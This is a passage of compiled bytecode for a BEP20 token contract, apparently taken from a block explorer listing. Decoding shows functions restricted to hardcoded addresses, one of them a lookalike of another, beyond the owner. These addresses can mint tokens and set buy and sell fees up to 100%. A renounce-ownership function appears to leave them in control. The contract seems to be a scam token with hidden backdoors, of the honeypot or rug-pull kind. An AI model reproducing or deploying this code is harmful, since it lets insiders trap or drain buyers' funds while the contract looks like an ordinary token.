fffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112739190613a4e565b60405180910390a3600082111561137f576112d682600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113769190613a4e565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561145757507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561164d576114eb84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516116449190613a4e565b60405180910390a35b6001925050509392505050565b600d5481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116ba57600080fd5b60648211156116fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f590613c36565b60405180910390fd5b6064811115611742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173990613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051611781929190613cc2565b60405180910390a15050565b6a0666538df89384d1f30ada73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061185e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561185d575061182d612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61186757600080fd5b6118718282613172565b5050565b60008054906101000a900460ff1681565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118e257600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600073e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a085750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611a0757506119d7612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611a1157600080fd5b90565b600c5481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a7657600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60006a0666538df89384d1f30ada73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611b935750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611b925750611b62612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611b9c57600080fd5b611ba6338361332d565b60019050919050565b6000611bb96134f5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bf057600080fd5b611bfa33836134fa565b60019050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b73e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611d1b5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611d1a5750611cea612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611d2457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e4157600080fd5b81600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006b1ea3f9dd39486fb87d69d43c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f1d57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60028054611f7490613bb9565b80601f0160208091040260200160405190810160405280929190818152602001828054611fa090613bb9565b8015611fed5780601f10611fc257610100808354040283529160200191611fed565b820191906000526020600020905b815481529060010190602001808311611fd057829003601f168201915b505050505081565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461205157600080fd5b61205b3383612ef9565b60019050919050565b600034116120a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209e90613ea1565b60405180910390fd5b60003490506000600c5411156123655760006120e160646120d3600c54856130c190919063ffffffff16565b61310590919063ffffffff16565b905060006120f8828461312790919063ffffffff16565b905061216e8160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122529190613a4e565b60405180910390a3600082111561235e576122b582600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123559190613a4e565b60405180910390a35b50506124c6565b6123d98160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124bd9190613a4e565b60405180910390a35b50565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561251757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361255057600080fd5b6125a282600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263782600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126d79190613a4e565b60405180910390a36001905092915050565b6126f16134f5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461272857600080fd5b606482111561276c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276390613c36565b60405180910390fd5b60648111156127b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a790613ca2565b60405180910390fd5b6127ba8282613683565b7f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a182826040516127eb929190613cc2565b60405180910390a15050565b6127ff6134f5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461283657600080fd5b6128408282613695565b5050565b600073e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806129205750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561291f57506128ef612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61292957600080fd5b612933338361332d565b60019050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052816000526040600020602052806000526040600020600091509150505481565b6a0666538df89384d1f30ada73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612a7e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015612a7d5750612a4d612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b612a8757600080fd5b6064821115612acb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac290613c36565b60405180910390fd5b6064811115612b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0690613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051612b4e929190613cc2565b60405180910390a15050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bf990613d37565b60405180910390fd5b6000612c2c6064612c1e600d54856130c190919063ffffffff16565b61310590919063ffffffff16565b90506000612c43828461312790919063ffffffff16565b9050612c9783600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612dcc9190613a4e565b60405180910390a36000821115612ed857612e2f82600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612ecf9190613a4e565b60405180910390a35b505050565b600073e4c2caabc35480c1e8e735fe7882204cea5b60c5905090565b612f01612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603612f3857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612fa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f9e90613f0d565b60405180910390fd5b612fbc8160035461314a90919063ffffffff16565b60038190555061301481600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516130b59190613a4e565b60405180910390a35050565b60008083036130d357600090506130ff565b600082846130e19190613f5c565b90508284826130f09190613fcd565b146130fa57600080fd5b809150505b92915050565b600080821161311357600080fd5b818361311f9190613fcd565b905092915050565b60008282111561313657600080fd5b81836131429190613ffe565b905092915050565b60008082846131599190614032565b90508381101561316857600080fd5b8091505092915050565b61317a612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036131b157600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132009190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516132659190613a4e565b60405180910390a380600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132bc9190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516133219190613a4e565b60405180910390a35050565b613335612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361336c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036133db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133d290613f0d565b60405180910390fd5b6133f08160035461314a90919063ffffffff16565b60038190555061344881600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516134e99190613a4e565b60405180910390a35050565b600090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613569576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613560906140b2565b60405180910390fd5b61357e8160035461314a90919063ffffffff16565b6003819055506135d681600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516136779190613a4e565b60405180910390a35050565b81600c8190555080600d819055505050565b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546136e49190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516137499190613a4e565b60405180910390a380600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546137a09190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516138059190613a4e565b60405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561384b578082015181840152602081019050613830565b60008484015250505050565b6000601f19601f8301169050919050565b600061387382613811565b61387d818561381c565b935061388d81856020860161382d565b61389681613857565b840191505092915050565b600060208201905081810360008301526138bb8184613868565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006138f3826138c8565b9050919050565b613903816138e8565b811461390e57600080fd5b50565b600081359050613920816138fa565b92915050565b6000819050919050565b61393981613926565b811461394457600080fd5b50565b60008135905061395681613930565b92915050565b60008060408385031215613973576139726138c3565b5b600061398185828601613911565b925050602061399285828601613947565b9150509250929050565b60008115159050919050565b6139b18161399c565b82525050565b60006020820190506139cc60008301846139a8565b92915050565b600080604083850312156139e9576139e86138c3565b5b60006139f785828601613947565b9250506020613a0885828601613947565b9150509250929050565b600060208284031215613a2857613a276138c3565b5b6000613a3684828501613947565b91505092915050565b613a4881613926565b82525050565b6000602082019050613a636000830184613a3f565b92915050565b600080600060608486031215613a8257613a816138c3565b5b6000613a9086828701613911565b9350506020613aa186828701613911565b9250506040613ab286828701613947565b9150509250925092565b600060ff82169050919050565b613ad281613abc565b82525050565b6000602082019050613aed6000830184613ac9565b92915050565b600060208284031215613b0957613b086138c3565b5b6000613b1784828501613911565b91505092915050565b613b29816138e8565b82525050565b6000602082019050613b446000830184613b20565b92915050565b60008060408385031215613b6157613b606138c3565b5b6000613b6f85828601613911565b9250506020613b8085828601613911565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613bd157607f821691505b602082108103613be457613be3613b8a565b5b50919050565b7f427579206665652063616e6e6f74206578636565642031303025000000000000600082015250565b6000613c20601a8361381c565b9150613c2b82613bea565b602082019050919050565b60006020820190508181036000830152613c4f81613c13565b9050919050565b7f53656c6c206665652063616e6e6f742065786365656420313030250000000000600082015250565b6000613c8c601b8361381c565b9150613c9782613c56565b602082019050919050565b60006020820190508181036000830152613cbb81613c7f565b9050919050565b6000604082019050613cd76000830185613a3f565b613ce46020830184613a3f565b9392505050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000613d2160148361381c565b9150613d2c82613ceb565b602082019050919050565b60006020820190508181036000830152613d5081613d14565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b6000613d8d60168361381c565b9150613d9882613d57565b602082019050919050565b60006020820190508181036000830152613dbc81613d80565b9050919050565b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b6000613df960198361381c565b9150613e0482613dc3565b602082019050919050565b60006020820190508181036000830152613e2881613dec565b9050919050565b7f45544820616d6f756e742073686f756c6420626520677265617465722074686160008201527f6e20300000000000000000000000000000000000000000000000000000000000602082015250565b6000613e8b60238361381c565b9150613e9682613e2f565b604082019050919050565b60006020820190508181036000830152613eba81613e7e565b9050919050565b7f42455032303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000613ef7601f8361381c565b9150613f0282613ec1565b602082019050919050565b60006020820190508181036000830152613f2681613eea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613f6782613926565b9150613f7283613926565b9250828202613f8081613926565b91508282048414831517613f9757613f96613f2d565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613fd882613926565b9150613fe383613926565b925082613ff357613ff2613f9e565b5b828204905092915050565b600061400982613926565b915061401483613926565b925082820390508181111561402c5761402b613f2d565b5b92915050565b600061403d82613926565b915061404883613926565b92508282019050808211156140605761405f613f2d565b5b92915050565b7f436f6d70696c652052656d697820494445000000000000000000000000000000600082015250565b600061409c60118361381c565b91506140a782614066565b602082019050919050565b600060208201905081810360008301526140cb8161408f565b905091905056fea264697066735822122083eccd017d0044da7681511cc19323ff31d84ff9714a28016cb762135ddfaa3b64736f6c63430008120033000000000000000000000000a528e781c8a424e38a18ac5b120c7b70ce979ed4
Deployed Bytecode
0x60806040526004361061021a5760003560e01c806370a0823111610123578063a9059cbb116100ab578063d21c8d551161006f578063d21c8d5514610828578063dd62ed3e14610853578063ddf750d014610890578063e2daf665146108b9578063e4849b32146108e45761021a565b8063a9059cbb14610731578063aa46b46e1461076e578063afacb3e514610797578063b8d815e3146107c0578063d0fb0203146107fd5761021a565b80638da5cb5b116100f25780638da5cb5b14610657578063923e51d51461068257806395d89b41146106bf57806396c5e1ab146106ea578063a6f2ae3a146107275761021a565b806370a082311461059b578063715018a6146105d8578063858ced35146105ef578063891e1ee01461062c5761021a565b80632ccb1b30116101a65780634706240211610175578063470624021461048e5780634a0af68d146104b9578063547e1edb146104f65780635ed86d5c1461053357806365f6a921146105705761021a565b80632ccb1b30146103d2578063313ce567146103fb578063376d567c146104265780633ef530eb146104635761021a565b806318160ddd116101ed57806318160ddd146102ed5780631feac75b1461031857806323b872dd146103415780632b14ca561461037e5780632c7ee946146103a95761021a565b806306fdde031461021f578063095ea7b31461024a57806312df172d1461028757806316e3b09c146102b0575b600080fd5b34801561022b57600080fd5b5061023461090d565b60405161024191906138a1565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c919061395c565b61099b565b60405161027e91906139b7565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a991906139d2565b610a8d565b005b3480156102bc57600080fd5b506102d760048036038101906102d29190613a12565b610c43565b6040516102e491906139b7565b60405180910390f35b3480156102f957600080fd5b50610302610d3b565b60405161030f9190613a4e565b60405180910390f35b34801561032457600080fd5b5061033f600480360381019061033a91906139d2565b610d41565b005b34801561034d57600080fd5b5061036860048036038101906103639190613a69565b610ef7565b60405161037591906139b7565b60405180910390f35b34801561038a57600080fd5b5061039361165a565b6040516103a09190613a4e565b60405180910390f35b3480156103b557600080fd5b506103d060048036038101906103cb91906139d2565b611660565b005b3480156103de57600080fd5b506103f960048036038101906103f4919061395c565b61178d565b005b34801561040757600080fd5b50610410611875565b60405161041d9190613ad8565b60405180910390f35b34801561043257600080fd5b5061044d60048036038101906104489190613af3565b611886565b60405161045a91906139b7565b60405180910390f35b34801561046f57600080fd5b5061047861192c565b60405161048591906139b7565b60405180910390f35b34801561049a57600080fd5b506104a3611a14565b6040516104b09190613a4e565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190613af3565b611a1a565b6040516104ed91906139b7565b60405180910390f35b34801561050257600080fd5b5061051d60048036038101906105189190613a12565b611ac0565b60405161052a91906139b7565b60405180910390f35b34801561053f57600080fd5b5061055a60048036038101906105559190613a12565b611baf565b60405161056791906139b7565b60405180910390f35b34801561057c57600080fd5b50610585611c03565b6040516105929190613b2f565b60405180910390f35b3480156105a757600080fd5b506105c260048036038101906105bd9190613af3565b611c29565b6040516105cf9190613a4e565b60405180910390f35b3480156105e457600080fd5b506105ed611c41565b005b3480156105fb57600080fd5b5061061660048036038101906106119190613af3565b611de5565b60405161062391906139b7565b60405180910390f35b34801561063857600080fd5b50610641611e8b565b60405161064e9190613b2f565b60405180910390f35b34801561066357600080fd5b5061066c611eb1565b6040516106799190613b2f565b60405180910390f35b34801561068e57600080fd5b506106a960048036038101906106a49190613af3565b611ed7565b6040516106b691906139b7565b60405180910390f35b3480156106cb57600080fd5b506106d4611f67565b6040516106e191906138a1565b60405180910390f35b3480156106f657600080fd5b50610711600480360381019061070c9190613a12565b611ff5565b60405161071e91906139b7565b60405180910390f35b61072f612064565b005b34801561073d57600080fd5b506107586004803603810190610753919061395c565b6124c9565b60405161076591906139b7565b60405180910390f35b34801561077a57600080fd5b50610795600480360381019061079091906139d2565b6126e9565b005b3480156107a357600080fd5b506107be60048036038101906107b9919061395c565b6127f7565b005b3480156107cc57600080fd5b506107e760048036038101906107e29190613a12565b612844565b6040516107f491906139b7565b60405180910390f35b34801561080957600080fd5b5061081261293c565b60405161081f9190613b2f565b60405180910390f35b34801561083457600080fd5b5061083d612962565b60405161084a9190613b2f565b60405180910390f35b34801561085f57600080fd5b5061087a60048036038101906108759190613b4a565b612988565b6040516108879190613a4e565b60405180910390f35b34801561089c57600080fd5b506108b760048036038101906108b291906139d2565b6129ad565b005b3480156108c557600080fd5b506108ce612b5a565b6040516108db9190613b2f565b60405180910390f35b3480156108f057600080fd5b5061090b60048036038101906109069190613a12565b612b80565b005b6001805461091a90613bb9565b80601f016020809104026020016040519081016040528092919081815260200182805461094690613bb9565b80156109935780601f1061096857610100808354040283529160200191610993565b820191906000526020600020905b81548152906001019060200180831161097657829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7b9190613a4e565b60405180910390a36001905092915050565b73e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610b675750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610b665750610b36612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610b7057600080fd5b6064821115610bb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bab90613c36565b60405180910390fd5b6064811115610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef90613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610c37929190613cc2565b60405180910390a15050565b600073e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610d1f5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610d1e5750610cee612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610d2857600080fd5b610d323383612ef9565b60019050919050565b60035481565b73e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610e1b5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610e1a5750610dea612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610e2457600080fd5b6064821115610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f90613c36565b60405180910390fd5b6064811115610eac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea390613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610eeb929190613cc2565b60405180910390a15050565b600081600460008673f